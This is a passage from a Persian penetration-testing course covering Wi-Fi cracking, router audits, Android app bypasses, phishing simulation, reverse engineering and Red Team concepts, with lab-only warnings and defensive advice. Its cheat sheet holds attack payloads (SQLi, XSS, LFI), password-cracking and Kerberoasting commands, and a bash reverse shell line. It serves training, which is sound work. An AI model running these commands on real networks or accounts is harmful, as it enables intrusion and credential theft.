hcxpcapngtool labcap-01.cap -o hash.hc22000	فایل ضبط‌شده‌ی .cap را به فرمتی که hashcat می‌فهمد (hc22000) تبدیل می‌کند؛ -o نام فایل خروجی را مشخص می‌کند
hashcat -m 22000 hash.hc22000 rockyou.txt	-m 22000 شماره‌ی حالت مخصوص هش‌های WPA-PBKDF2/PMKID است؛ با استفاده از پردازنده‌ی گرافیکی (GPU)، این فرایند بسیار سریع‌تر از aircrack-ng است

حمله‌ی PMKID (بدون نیاز به کلاینت متصل)

برخلاف روش بالا که نیاز به یک کلاینت فعال و Deauth دارد، حمله‌ی PMKID می‌تواند مستقیماً از خود اکسس‌پوینت اطلاعات لازم را بگیرد — سریع‌تر و با اثر کمتر روی شبکه:

```
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool pmkid.pcapng -o hash.hc22000
hashcat -m 22000 hash.hc22000 rockyou.txt
```

Evil Twin — اکسس‌پوینت جعلی (فقط در لابراتوار)

مفهوم: یک اکسس‌پوینت جعلی با همان نام شبکه‌ی اصلی ساخته می‌شود. وقتی کلاینت به آن وصل شد، یک صفحه‌ی «رمز را دوباره وارد کنید» نشان داده می‌شود؛ رمز واردشده بلافاصله با aircrack-ng تأیید می‌شود.

اجزای پیاده‌سازی دستی:

- hostapd برای ساخت اکسس‌پوینت جعلی
- dnsmasq برای ارائه‌ی DHCP و DNS به کلاینت متصل‌شده
- یک صفحه‌ی وب ساده (Captive Portal) برای درخواست رمز
- قوانین iptables برای هدایت تمام ترافیک وب به همان صفحه

> ابزارهای آماده‌ای مثل wifipumpkin3 یا fluxion همین فرایند را خودکار می‌کنند و برای شروع یادگیری این مفهوم مناسب‌ترند.

دفاع (برای گزارش‌های امنیتی)

- خاموش کردن WPS
- استفاده از WPA2-PSK با رمز بلند یا WPA3
- در محیط سازمانی، استفاده از WPA-Enterprise (802.1X) به‌جای رمز مشترک
- جداسازی شبکه‌ی مهمان از شبکه‌ی اصلی
- پایش (Monitoring) برای شناسایی اکسس‌پوینت‌های جعلی (Rogue AP)

تمرین عملی ۴.۱

روی اکسس‌پوینت آزمایشی مجاز: اسکن کامل (BSSID، کلاینت‌ها، کانال، قدرت سیگنال)، گرفتن handshake و کرک با دیکشنری، و در نهایت نوشتن گزارش «وضعیت امنیت وای‌فای» همراه با توصیه‌ها.

۴.۲ هک مودم و روتر

مودم‌های خانگی و سازمانی به‌خاطر رمزهای پیش‌فرض، سرویس‌های غیرضروری فعال، و فریمور قدیمی، یکی از رایج‌ترین نقاط ضعف شبکه هستند.

مراحل Audit یک روتر آزمایشی

1. ورود به پنل ادمین: ابتدا اعتبارنامه‌های پیش‌فرض (لیست‌های آنلاین default-router-passwords) را امتحان کنید
2. اسکن سرویس‌ها: nmap -sS -sV -p- 192.168.1.1 — به‌دنبال سرویس‌های خطرناک مثل telnet(23)، UPnP(1900)، TR-069(7547)
3. اگر UPnP باز است، بررسی کنید آیا هر دستگاه داخل شبکه می‌تواند بدون اجازه پورت به بیرون باز کند
4. بررسی فایل backup تنظیمات (اگر پنل این قابلیت را دارد) — بسیاری از روترها رمز را Base64 یا با رمزنگاری ضعیف ذخیره می‌کنند
5. دانلود فریمور از سایت سازنده و استخراج آن با binwalk برای جست‌وجوی رمز هاردکدشده

```
nmap -sS -sV -p- 192.168.1.1
hydra -l admin -P pass.txt 192.168.1.1 telnet
binwalk -e firmware.bin
grep -ri "password" -r _firmware.bin.extracted/
```

دستور	توضیح خط‌به‌خط
nmap -sS -sV -p- 192.168.1.1	اسکن SYN، تشخیص نسخه، و تمام ۶۵۵۳۵ پورت (-p-) روی خود مودم؛ هدف پیدا کردن سرویس‌های غیرمنتظره مثل Telnet یا SSH باز است
hydra -l admin -P pass.txt 192.168.1.1 telnet	امتحان نام کاربری admin با فهرستی از رمزهای رایج، روی سرویس Telnet مودم
binwalk -e firmware.bin	e- یعنی استخراج کن؛ binwalk فایل فریمور دانلودشده را باز می‌کند و فایل‌سیستم داخلی آن (که معمولاً فشرده شده) را در یک پوشه‌ی جدید استخراج می‌کند
/grep -ri "password" -r _firmware.bin.extracted	داخل تمام فایل‌های استخراج‌شده، به‌دنبال کلمه‌ی password می‌گردد — جایی که معمولاً رمزهای هاردکدشده یا تنظیمات پیش‌فرض پیدا می‌شوند

تست سمت WAN (یعنی از بیرون شبکه) فقط با مجوز کتبی و در یک شبکه‌ی ایزوله مجاز است — هرگز این کار را روی مودم واقعی خودتان که به اینترنت وصل است و افراد دیگری هم از آن استفاده می‌کنند، به‌صورت ناگهانی و بدون هماهنگی انجام ندهید.

تمرین عملی ۴.۲

Audit کامل یک مودم آزمایشی: تمام موارد بالا را انجام دهید و یک جدول یافته‌ها (اعتبارنامه‌ی پیش‌فرض، سرویس‌های غیرضروری، نسخه‌ی فریمور قدیمی) همراه با توصیه‌های پیکربندی امن بنویسید.

۴.۳ هک و تست اپلیکیشن‌های موبایل (اندروید)

ابزار	کاربرد
adb	ابزار رسمی اندروید برای اتصال و اجرای دستور روی دستگاه/شبیه‌ساز
apktool	دیکامپایل فایل APK به منابع و AndroidManifest خوانا
jadx	دیکامپایل کد جاوای یک اپلیکیشن اندروید به شکل قابل‌خواندن
MobSF	پلتفرم اسکن خودکار امنیت اپلیکیشن موبایل
Frida / Objection	دستکاری رفتار یک اپ در حین اجرا (Runtime)

مرحله‌ی ۱: گرفتن فایل APK

```
adb devices
adb shell pm list packages | findstr target
adb shell pm path com.example.app
adb pull /data/app/.../base.apk
```

مرحله‌ی ۲: دیکامپایل و تحلیل استاتیک

```
apktool d app.apk -o out            # منابع و AndroidManifest.xml
jadx-gui app.apk                    # کد جاوای خوانا؛ دنبال URL، کلید و رمزنگاری ضعیف بگردید
```

مرحله‌ی ۳: بررسی AndroidManifest

چند تنظیم خطرناک که باید همیشه چک شوند:

تنظیم	خطر
`android:debuggable="true"`	اپ در نسخه‌ی انتشاریافته هنوز قابل‌دیباگ است
`exported="true"` بدون دلیل	یک کامپوننت داخلی اپ از بیرون (حتی از اپ‌های دیگر) قابل‌فراخوانی است
`allowBackup="true"`	داده‌های اپ ممکن است از طریق adb backup قابل‌استخراج باشند
`cleartextTrafficPermitted`	اپ اجازه‌ی ارسال ترافیک بدون رمزنگاری (HTTP ساده) را دارد

مرحله‌ی ۴: ذخیره‌سازی ناامن

```
adb shell "run-as com.example.app cat shared_prefs/user.xml"
#  بررسی اینکه آیا رمز یا توکن به‌صورت متن ساده در حافظه ذخیره شده
```

مرحله‌ی ۵: تحلیل ترافیک شبکه

با تنظیم پروکسی شبیه‌ساز روی IP سیستم Kali (پورت 8080) و نصب گواهی Burp، می‌توان حتی ترافیک HTTPS اپ را دید — مگر اینکه اپ از SSL Pinning استفاده کند.

مرحله‌ی ۶: اسکن خودکار با MobSF

```
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-
framework-mobsf
```

مرحله‌ی ۷: بایپس با Frida

```
objection patchapk -s app.apk
objection explore
frida -U -f com.example.app -l bypass_root.js
```

بایپس‌های رایج با این روش: دور زدن تشخیص Root، دور زدن Certificate Pinning (برای دیدن ترافیک HTTPS)، و دور زدن بررسی‌های لایسنس در اپ‌های خودتان.

تمرین عملی ۴.۳

یک اپ اندروید تمرینی (مثل InsecureBankv2 یا UnCrackable-Level1) را کامل تست کنید: تحلیل استاتیک، تحلیل دینامیک، و بایپس Root. اگر خودتان اپ موبایلی (حتی با Xamarin) دارید، تست امنیتی اپ خودتان کاملاً قانونی و ارزشمند است.

۴.۴ مهندسی اجتماعی و فیشینگ

اغلب ضعیف‌ترین نقطه‌ی هر سیستم امنیتی، انسان است. این بخش، چرخه‌ی یک حمله‌ی فیشینگ را برای اهداف دفاعی و آگاهی‌بخشی آموزش می‌دهد.

چرخه‌ی حمله‌ی فیشینگ

1. OSINT سازمان: جمع‌آوری ایمیل‌ها، ساختار سازمانی، فناوری‌های استفاده‌شده
2. طراحی سناریو: ایجاد حس فوریت یا اعتبار (مثلاً اعلان پرداخت، دعوت‌نامه، هشدار امنیتی)
3. پیاده‌سازی: صفحه‌ی ورود کلون‌شده، ایمیل با ظاهر رسمی، دامنه‌ی مشابه
4. ارسال هدفمند و اندازه‌گیری نرخ موفقیت (چند نفر کلیک کردند یا اطلاعات وارد کردند)
5. گزارش و آموزش کارکنان بر اساس نتیجه

ابزار آزمایشگاهی: GoPhish

GoPhish یک پلتفرم متن‌باز برای شبیه‌سازی کنترل‌شده‌ی کمپین‌های فیشینگ است — فقط باید داخل یک دامنه‌ی تستی و شبکه‌ی داخلی کارگاه استفاده شود:

```
# نصب و اجرا (self-hosted)
./gophish
# سپس از طریق پنل وب، یک قالب ایمیل، یک صفحه‌ی لندینگ، و لیست گیرندگان تستی تعریف می‌شود
```

Social-Engineer Toolkit (SET)

```
setoolkit
# → Social-Engineering Attacks → Credential Harvester Attack Method
# یک صفحه‌ی ورود کلون‌شده می‌سازد و هر ورودی واردشده را ثبت می‌کند
```

نشانه‌های یک ایمیل فیشینگ (برای آموزش کارکنان)

نشانه	توضیح
فوریت کاذب	عباراتی مثل «حساب شما ظرف ۲۴ ساعت بسته می‌شود»
آدرس فرستنده‌ی مشکوک	دامنه‌ای شبیه یک برند معتبر ولی با یک حرف اضافه یا متفاوت
لینک‌های نامتعارف	متن لینک یک آدرس را نشان می‌دهد ولی لینک واقعی جای دیگری می‌رود
درخواست اطلاعات حساس	هیچ سازمان معتبری رمز عبور را از طریق ایمیل نمی‌خواهد

دفاع در برابر فیشینگ

- پیکربندی صحیح رکوردهای SPF، DKIM و DMARC روی دامنه‌ی سازمان (جلوگیری از جعل فرستنده)
- آموزش مداوم کارکنان همراه با شبیه‌سازی‌های دوره‌ای مجاز
- استفاده از مدیر رمز عبور که فقط روی دامنه‌ی واقعی، رمز را خودکار پر می‌کند

- احراز هویت دومرحله‌ای مقاوم (اپ Authenticator بهتر از پیامک)
- وجود دکمه‌ی «گزارش فیشینگ» در کلاینت ایمیل سازمانی

تمرین عملی ۴.۴

با اکانت تستی خودتان، یک صفحه‌ی فیشینگ آزمایشی داخل شبکه‌ی کارگاه بسازید (بدون ارسال به هیچ شخص واقعی) و در ادامه، مکانیزم‌های دفاعی در برابر آن را مستند کنید.

۴.۵ امنیت پیام‌رسان‌ها — مطالعه‌ی موردی

تمام این موارد باید فقط روی حساب‌های تستیِ خودتان بررسی شوند، نه هیچ حساب دیگری.

مسیرهای رایج حمله به یک حساب پیام‌رسان

مسیر حمله	توضیح
فیشینگ صفحه‌ی ورود	صفحه یا بات جعلی که شبیه صفحه‌ی ورود واقعی است
درخواست کد تأیید	تماس یا پیام با هویت جعلی «پشتیبانی» برای گرفتن کد پیامکی
QR Code جعلی	هدایت قربانی به اسکن یک QR Code که عملاً یک ورود جدید برای مهاجم فعال می‌کند
نشست‌های فعال فراموش‌شده	دسترسی باقی‌مانده از یک دستگاه قدیمی که حساب از آن خارج نشده
بدافزار موبایل	اپلیکیشن آلوده که پیام‌ها یا کد تأیید را می‌خواند

چک‌لیست امنیت حساب (قابل‌تعمیم به بیشتر پیام‌رسان‌ها)

- احراز هویت دومرحله‌ای (رمز ابری/PIN اضافی) را فعال نگه دارید
- به‌طور دوره‌ای نشست‌های فعال (Active Sessions) را بررسی و دستگاه‌های ناشناس را خارج کنید
- فقط به بات‌های تأییدشده اعتماد کنید
- هرگز کد تأیید پیامکی را، حتی به «پشتیبانی»، برای هیچ‌کس ارسال نکنید
- به پیام‌های رسانه‌ای مشکوک (فایل، لینک) از منابع ناشناس پاسخ یا کلیک ندهید

۴.۶ OSINT پیشرفته

ابزار	کاربرد
Sherlock / Maigret	یافتن یک نام کاربری در بیش از ۳۰۰ شبکه‌ی اجتماعی و سایت
Maltego	ساخت گراف بصری از ارتباطات بین دامنه، ایمیل و سازمان
Have I Been Pwned	بررسی رسمی اینکه آیا یک ایمیل در نشت داده‌ی شناخته‌شده‌ای بوده (فقط از سرویس رسمی استفاده کنید)

```
sherlock username
```

تمرین نهایی سطح ۴ — مینی‌انگیجمنت ترکیبی

در محیط کارگاه: شناسایی شبکه → Audit وای‌فای → Audit مودم → تست سایت دمو → شبیه‌سازی فیشینگ آزمایشی → نوشتن یک گزارش «ارزیابی سبک Red Team» کامل همراه با جدول ریسک. این دقیقاً همان چیزی است که در مصاحبه‌های شغلی ارائه می‌دهید.

چک‌لیست مهارت سطح ۴

- Monitor Mode، اسکن، گرفتن Handshake، کرک WPA2 و PMKID را کامل بلدم
- مفهوم و پیاده‌سازی پایه‌ی Evil Twin با hostapd/dnsmasq را می‌فهمم
- یک روتر آزمایشی را کامل Audit کرده‌ام، شامل بررسی فریمور با binwalk
- یک APK را دیکامپایل، با Burp ترافیکش را دیده، و با Frida بایپس Root انجام داده‌ام
- یک شبیه‌سازی فیشینگ مجاز طراحی و اجرا کرده‌ام
- چک‌لیست امنیت حساب پیام‌رسان را می‌توانم به دیگران آموزش دهم

منابع پیشنهادی سطح ۴

- TryHackMe: اتاق‌های WiFi Hacking، Windows Fundamentals، OhSINT، Phishing
- HTB Academy: Getting Started with Android، Attacking Common Applications
- مستندات رسمی aircrack-ng

پایان قسمت ۴ (سطح ۴ — وای‌فای، مودم، موبایل و مهندسی اجتماعی). قسمت پنجم و آخر این مجموعه، سطح ۵ (باینری، مهندسی معکوس، Red Team) به‌همراه پیوست‌ها (چیت‌شیت، قالب گزارش و فرم مجوز) را پوشش خواهد داد.

مسیر حرفه‌ای هک و امنیت سایبری

قسمت ۵: سطح ۵ (باینری و Red Team) + مسیر شغلی و پیوست‌ها

آخرین قسمت از مجموعه‌ی پنج‌قسمتی مسیر هک حرفه‌ای

> هشدار قانونی و اخلاقی:
> تکنیک‌های این سطح (اکسپلویت‌نویسی، مهندسی معکوس، Red Team) پیشرفته‌ترین و حساس‌ترین بخش این مجموعه‌اند. تمام آن‌ها فقط در محیط آزمایشگاهی ایزوله (ماشین مجازی بدون اتصال به شبکه‌ی واقعی) تمرین شوند.

سطح ۵ — باینری، مهندسی معکوس و Red Team

این سطح جایی است که از «استفاده‌کننده‌ی ابزار» به «سازنده‌ی ابزار» تبدیل می‌شوید. بر خلاف سطوح قبل که بیشتر ابزارهای آماده را به‌کار می‌گرفتید، اینجا یاد می‌گیرید خودِ نرم‌افزار و حافظه را در سطح بسیار پایین‌تری بفهمید.

۵.۱ اسمبلی و معماری حافظه

برای فهم اکسپلویت‌نویسی، باید بدانید وقتی یک برنامه اجرا می‌شود، در حافظه دقیقاً چه اتفاقی می‌افتد.

مفهوم	توضیح
رجیستر	محل ذخیره‌ی موقت داده داخل خود پردازنده؛ در x86 مثل EAX/ESP/EBP، در x64 مثل RAX/RSP/RBP
Stack	ناحیه‌ای از حافظه که برای متغیرهای محلی و آدرس بازگشت توابع استفاده می‌شود
Stack Frame	بخشی از Stack که مختص یک فراخوانی تابع است
Calling Convention	قرارداد اینکه آرگومان‌های یک تابع چطور و در کجا (رجیستر یا Stack) منتقل می‌شوند

دستورات پایه‌ی اسمبلی

دستور	معنی
`mov`	انتقال مقدار از یک محل به محل دیگر
`push / pop`	قرار دادن/برداشتن یک مقدار از بالای Stack
`call / ret`	فراخوانی یک تابع / بازگشت از آن
`jmp / jz`	پرش بدون‌شرط / پرش در صورت صفر بودن نتیجه‌ی مقایسه‌ی قبلی
`cmp`	مقایسه‌ی دو مقدار
`lea`	محاسبه‌ی آدرس یک محل حافظه (بدون خواندن مقدار آن)

مکانیزم‌های دفاعی مدرن در برابر حافظه

مکانیزم	توضیح
ASLR	تصادفی‌سازی آدرس حافظه در هر اجرا؛ حدس زدن آدرس دقیق را سخت می‌کند
DEP / NX	مشخص کردن بخش‌هایی از حافظه (مثل Stack) به‌عنوان «غیرقابل‌اجرا»
Stack Canary	یک مقدار تصادفی قبل از آدرس بازگشت که اگر تغییر کند، یعنی Buffer Overflow رخ داده
PIE	کامپایل برنامه به‌شکلی که کل آن (نه فقط کتابخانه‌ها) قابل جابه‌جایی در حافظه باشد

```
gdb [فایل_اجرایی]

gdb ./program
break *main+42
run
info registers
objdump -d ./program
```

دستور	توضیح خط‌به‌خط
gdb ./program	دیباگر را روی فایل اجرایی program باز می‌کند؛ برنامه هنوز اجرا نشده، فقط آماده‌ی بررسی است
break *main+42	یک نقطه‌ی توقف (Breakpoint) درست ۴۲ بایت بعد از شروع تابع main می‌گذارد؛ وقتی اجرا به اینجا برسد، متوقف می‌شود
run	برنامه را واقعاً اجرا می‌کند؛ اجرا تا رسیدن به breakpoint قبلی ادامه می‌یابد و سپس متوقف می‌شود
info registers	مقدار فعلی تمام رجیسترهای پردازنده (مثل RAX، RSP، RIP) را در همان لحظه‌ی توقف نشان می‌دهد
objdump -d ./program	-d یعنی Disassemble؛ کل کد اسمبلی فایل اجرایی را، بدون نیاز به اجرای آن، به‌صورت متنی نمایش می‌دهد

۵.۲ مفهوم Buffer Overflow

Buffer Overflow زمانی رخ می‌دهد که یک برنامه داده‌ی بیشتری از ظرفیت یک بافر حافظه در آن بنویسد، و این داده‌ی اضافی بخش‌های دیگر حافظه (از جمله آدرس بازگشت یک تابع) را بازنویسی کند. مراحل کلی تحلیل این نوع آسیب‌پذیری (روی یک برنامه‌ی آزمایشی طراحی‌شده برای این منظور):

مرحله	هدف
۱. Fuzzing	فرستادن رشته‌های طولانی و افزایشی به برنامه تا جایی که کرش (Crash) کند
۲. پیدا کردن Offset	فهمیدن دقیقاً در کدام بایت از ورودی، آدرس بازگشت بازنویسی می‌شود
۳. کنترل اشاره‌گر اجرا	تأیید اینکه می‌توان این آدرس را به دلخواه تغییر داد
۴. یافتن نقطه‌ی پرش مناسب	پیدا کردن یک دستور در حافظه که اجرای برنامه را به بافر ما هدایت کند
۵. آماده‌سازی Payload نهایی	ترکیب padding، آدرس پرش و کد نهایی

این فرایند، پایه‌ی یک حوزه‌ی تخصصی کامل به نام Exploit Development است. یادگیری عمیق آن معمولاً از طریق دوره‌های تخصصی (مثل مسیر OSCP/OSED) و تمرین روی برنامه‌های طراحی‌شده‌ی قانونی برای همین منظور (مثل چالش‌های CTF دسته‌ی pwn) دنبال می‌شود — نه از طریق کپی کردن یک payload آماده، بلکه از طریق فهم عمیق ساختار حافظه در هر مرحله.

مفاهیم پیشرفته‌تر (برای مطالعه‌ی بیشتر)

مفهوم	توضیح مختصر
ROP (Return-Oriented Programming)	تکنیکی برای دور زدن DEP/NX با استفاده از قطعات کد موجود در خود برنامه (Gadget)
Heap Exploitation	بهره‌برداری از خطاهای مدیریت حافظه‌ی پویا (Heap) به‌جای Stack
Format String Bug	زمانی که ورودی کاربر مستقیماً به‌عنوان الگوی printf استفاده شود

۵.۳ مهندسی معکوس (Reverse Engineering)

مهندسی معکوس یعنی تحلیل یک فایل اجرایی بدون دسترسی به کد منبع اصلی آن — برای فهمیدن منطق داخلی‌اش، پیدا کردن یک آسیب‌پذیری، یا تحلیل یک بدافزار.

ابزار	کاربرد
Ghidra	ابزار رایگان و قدرتمند دیکامپایل (تبدیل اسمبلی به کدی شبیه C) ساخته‌ی آژانس امنیت ملی آمریکا
IDA Free / Pro	استاندارد صنعتی تحلیل باینری؛ نسخه‌ی رایگان محدودتر است
x64dbg / gdb	دیباگرهای دینامیک برای اجرای گام‌به‌گام و مشاهده‌ی تغییرات حافظه
dnSpy	دیکامپایلر و دیباگر تخصصی برای برنامه‌های .NET/#C — بسیار مفید با توجه به پیش‌زمینه‌ی C#

جریان کار معمول در Ghidra: وارد کردن فایل (Import) ← تحلیل خودکار (Analyze) ← مشاهده‌ی کد دیکامپایل‌شده ← تغییر نام متغیرها و توابع برای خواناتر شدن ← در صورت نیاز، اصلاح (Patch) مستقیم باینری.

با پیش‌زمینه‌ی C# که دارید، دیکامپایل و دیباگ اپلیکیشن‌های .NET با dnSpy برایتان بسیار آسان‌تر از دیگران خواهد بود — چون می‌توانید کد دیکامپایل‌شده را واقعاً مثل کد C# خودتان بخوانید.

مسیر تمرین پیشنهادی

شروع با چالش‌های crackme (برنامه‌های کوچک طراحی‌شده برای تمرین مهندسی معکوس، مثل آرشیو عمومی crackmes.one) ← چالش‌های دسته‌بندی Reverse Engineering در پلتفرم‌های CTF ← در نهایت تحلیل باینری‌های واقعی‌تر و پیچیده‌تر.

۵.۴ تحلیل بدافزار (در سطح مفهومی و دفاعی)

تحلیل بدافزار یعنی بررسی یک فایل مشکوک برای فهمیدن رفتار و قابلیت‌هایش — این مهارت بیشتر برای شناسایی و دفاع (Blue Team) کاربرد دارد تا ساخت بدافزار.

اصول ایمنی حیاتی

هشدار:

تحلیل بدافزار فقط باید در یک محیط کاملاً ایزوله و بدون اتصال به شبکه‌ی واقعی انجام شود (مثل یک ماشین مجازی مجزا با قابلیت Snapshot، ترجیحاً روی توزیع‌های تخصصی مثل REMnux یا FLARE-VM). هیچوقت یک فایل مشکوک واقعی را خارج از چنین محیطی اجرا نکنید.

نوع تحلیل	ابزار	هدف
استاتیک (بدون اجرا)	strings، بررسی PE headers، ابزارهایی مثل PEstudio یا capa	یافتن نشانه‌های اولیه بدون اجرای فایل
دینامیک (با اجرا در محیط ایزوله)	procmon، Process Explorer، Wireshark	مشاهده‌ی رفتار واقعی: چه فایلی می‌سازد، به کجا وصل می‌شود
Sandbox آنلاین	سرویس‌های تحلیل خودکار عمومی	مقایسه‌ی نتیجه با تحلیل دستی خودتان

یکی از اولین قدم‌های تحلیل استاتیک، نوشتن یک قانون YARA است — یک الگوی ساده که مشخص می‌کند چه رشته‌ها یا بایت‌هایی در یک فایل، آن را به‌عنوان یک خانواده‌ی خاص از بدافزار شناسایی می‌کند. این ابزار بیشتر در دست تیم‌های دفاعی برای شناسایی و دسته‌بندی تهدیدها استفاده می‌شود.

۵.۵ Red Team — شبیه‌سازی یک مهاجم واقعی

تفاوت Red Team با تست نفوذ معمولی این است: تست نفوذ معمولی دنبال «پیدا کردن هرچه بیشتر آسیب‌پذیری» است، ولی Red Team دنبال «رسیدن به یک هدف مشخص، دقیقاً مثل یک مهاجم واقعی و مخفیانه» است — معمولاً بدون اطلاع تیم دفاعی سازمان، برای تست واقعی توانایی شناسایی آن‌ها.

چارچوب استاندارد صنعتی برای طبقه‌بندی تکنیک‌های Red Team، MITRE ATT&CK نام دارد که تاکتیک‌ها (Tactics) و تکنیک‌های (Techniques) شناخته‌شده‌ی مهاجمان واقعی را مستند می‌کند.

مفاهیم کلیدی

مفهوم	توضیح
C2 (Command & Control)	زیرساختی که مهاجم از طریق آن به سیستم‌های در دست گرفته‌شده دستور می‌فرستد
Living-off-the-Land	استفاده از ابزارهای خودِ سیستم‌عامل (مثل PowerShell) به‌جای ابزار مخرب خارجی، برای کاهش شانس شناسایی
Evasion	تکنیک‌هایی برای دور زدن آنتی‌ویروس و سیستم‌های شناسایی
Persistence	روش‌هایی برای حفظ دسترسی حتی بعد از ریستارت سیستم
Purple Teaming	همکاری مستقیم تیم مهاجم و مدافع، تا بعد از هر تکنیک حمله، فوراً بررسی شود که آیا سیستم دفاعی آن را دیده یا نه

Red Team بالاترین سطح تخصص در مسیر تهاجمی امنیت است و معمولاً نیازمند سال‌ها تجربه‌ی قبلی در تست نفوذ سنتی است. چارچوب‌هایی مثل MITRE ATT&CK و ابزارهای شبیه‌سازی C2 (در محیط آزمایشگاهی) نقطه‌ی شروع مطالعه‌ی مفهومی این حوزه‌اند.

۵.۶ کجا بعد از این مسیر برویم؟

- OSED/OSEP/OSCE3 — مدارک تخصصی در اکسپلویت‌نویسی و دور زدن سیستم‌های دفاعی
- HTB Pro Labs — شبیه‌سازی کامل یک سازمان با شبکه‌ی چندلایه برای تمرین سناریوهای واقعی
- تحقیق روی آسیب‌پذیری‌های جدید (Fuzzing، تحلیل تفاوت وصله‌ها، نوشتن اثبات مفهوم برای CVEهای عمومی)
- تخصص‌های مرزی‌تر مثل بهره‌برداری در سطح کرنل سیستم‌عامل یا فرار از ماشین مجازی

چک‌لیست مهارت سطح ۵

- اسمبلی پایه‌ی x86/x64 را می‌خوانم و می‌فهمم
- مراحل کلی تحلیل Buffer Overflow را توضیح می‌دهم
- با Ghidra یا dnSpy یک فایل اجرایی ساده را دیکامپایل و تحلیل می‌کنم
- اصول ایمن تحلیل بدافزار در محیط ایزوله را رعایت می‌کنم
- مفاهیم C2، Living-off-the-Land و Persistence را توضیح می‌دهم
- با چارچوب MITRE ATT&CK آشنا هستم و می‌توانم یک تکنیک را در آن پیدا کنم

بخش پیوست — مسیر شغلی، مدارک، منابع و ابزارهای مرجع

جدول زمان‌بندی کل مسیر (خلاصه)

بازه	سطح	تمرکز
ماه ۱ تا ۳	۱	شبکه، لینوکس، پایتون، شناسایی
ماه ۴ تا ۶	۲	هک وب‌اپلیکیشن، Burp، OWASP Top 10
ماه ۷ تا ۹	۳	سیستم، شبکه، Active Directory
ماه ۱۰ تا ۱۳	۴	وای‌فای، مودم، موبایل، مهندسی اجتماعی
ماه ۱۴ تا ۱۸	۵	باینری، مهندسی معکوس، Red Team

با ۱۰ تا ۱۵ ساعت تمرین در هفته، مجموعاً حدود ۱۲ تا ۱۸ ماه تا رسیدن به سطح «جونیور/میان‌رده پنتستر آماده‌ی کار» زمان می‌برد. مسیر «فوق‌حرفه‌ای» (اکسپلویت‌نویس، Red Teamer ارشد) معمولاً ۲.۵ تا ۳.۵ سال تداوم می‌خواهد. نکته‌ی مهم: سی دقیقه تمرین هر روز، مؤثرتر از پنج ساعت فقط یک روز در هفته است.

مدارک پیشنهادی (به ترتیب مسیر)

مدرک	سطح	چرا/کی
eJPT	جونیور عملی	پایان ماه ۶ تا ۹؛ اولین مدرک کاملاً عملی و انگیزه‌ساز
CompTIA Security+	نظری پایه	اختیاری؛ بیشتر برای استخدام در شرکت‌های رسمی‌تر مفید است
OSCP	میانی/ارشد عملی	پایان ماه ۱۲ تا ۱۸؛ یکی از معتبرترین مدارک عملی تست نفوذ در صنعت
CRTO	پایه‌ی Red Team	بعد از OSCP؛ تمرکز روی مفاهیم C2 و شبیه‌سازی حمله
OSEP / OSCE3	فوق‌حرفه‌ای	سال دوم تا سوم؛ اکسپلویت‌نویسی و دور زدن سیستم‌های دفاعی پیشرفته

مسیرهای شغلی مرتبط

عنوان شغلی	توضیح کوتاه
Penetration Tester / Security Consultant	اجرای تست نفوذ برای شرکت‌های مختلف، معمولاً پروژه‌محور
Red Team Operator	شبیه‌سازی پیشرفته‌ی مهاجم واقعی برای سازمان‌های بزرگ
Bug Bounty Hunter	کشف آسیب‌پذیری در برنامه‌های عمومی با درآمد مبتنی بر یافته؛ مسیر ورودی سریع برای کسانی با مهارت وب قوی
Application Security Engineer	ترکیب دانش برنامه‌نویسی و امنیت؛ تقاضای بسیار بالا در بازار کار
SOC Analyst / Detection Engineer	مسیر دفاعی (Blue Team) ولی با ذهنیت تهاجمی که در این مجموعه آموختید
Malware Analyst / Security Researcher	تحلیل تهدیدها و مهندسی معکوس در سطح حرفه‌ای

منابع کلیدی (کم ولی مؤثر)

نوع	منابع

تمرین عملی	TryHackMe (شروع)، HackTheBox (پیشرفته)، PortSwigger Web Security Academy (رایگان و بی‌رقیب برای وب)
کتاب	The Web Application Hacker's Handbook، RTFM: Red Team Field Manual، Hacking: The Art of Exploitation
مرجع آنلاین	HackTricks، PayloadsAllTheThings، OWASP Cheat Sheet Series
ویدیو	تحلیل باکس‌های HackTheBox (ippsec)، کانال‌های آموزشی معتبر امنیت سایبری

چیت‌شیت دستورات پرکاربرد

شناسایی و شبکه

```
nmap -sV -sC -O -p- TARGET          #  + نسخه + اسکن کامل
سیستم‌عامل + اسکریپت‌های پیش‌فرض
nmap -sU --top-ports 50 TARGET      # اسکن پورت‌های UDP
nmap --script vuln TARGET           # اسکریپت‌های تشخیص آسیب‌پذیری
gobuster dir -u URL -w wordlist.txt -x php,html,txt
whois domain.com ; dig ANY domain.com
```

وب / Burp

```
# SQLi: ' " ') OR 1=1-- -  UNION SELECT null,null-- -
sqlmap -u "URL?id=1" --batch --dbs
# XSS: <script>alert(1)</script>  <img src=x onerror=alert(1)>
# SSTI: {{7*7}}  ${7*7}
# LFI: /etc/passwd  ....//....//etc/passwd
ffuf -u URL/FUZZ -w wordlist -fc 404
```

کرک و رمز عبور

```
hydra -l admin -P rockyou.txt TARGET ssh
john --wordlist=rockyou.txt hash.txt
hashcat -m 1000 hash.txt rockyou.txt      # NTLM
hashcat -m 22000 hash.hc22000 rockyou.txt # WiFi WPA
```

ویندوز / Active Directory

```
whoami /priv ; whoami /groups
net user ; net localgroup administrators
impacket-GetUserSPNs DOMAIN/user:pass@IP -request   # Kerberoasting
bloodhound-python -u user -p pass -d domain.local -c All
```

شل و پس از نفوذ

```
nc -lvnp 4444
bash -i >& /dev/tcp/IP/4444 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -4000 2>/dev/null       # فایل‌های SUID
sudo -l                               # بررسی دسترسی sudo
```

قالب گزارش تست نفوذ

- خلاصه‌ی اجرایی — در پنج خط: چه تستی انجام شد، مهم‌ترین یافته‌ها، ریسک کلی
- محدوده و روش‌شناسی — IP ها یا دامنه‌های تست‌شده، مجوزها، ابزارها، تاریخ‌های اجرا
- یافته‌ها (برای هرکدام): عنوان، درجه‌ی ریسک (Info/Low/Medium/High/Critical)، امتیاز CVSS، توضیح فنی، مراحل بازتولید با اسکرین‌شات، شواهد (درخواست/پاسخ)، راهکار اصلاحی، سطح تلاش لازم برای اصلاح
- جدول خلاصه‌ی ریسک — یافته در برابر درجه و وضعیت رفع
- موارد مثبت — بخش‌هایی که از نظر امنیتی خوب پیاده‌سازی شده‌اند
- پیوست‌ها — لاگ خام ابزارها، نسخه‌ی دقیق نرم‌افزارها

نمونه‌ی قالب نامه‌ی مجوز تست نفوذ

نمونه‌ی متن نامه‌ی مجوز:

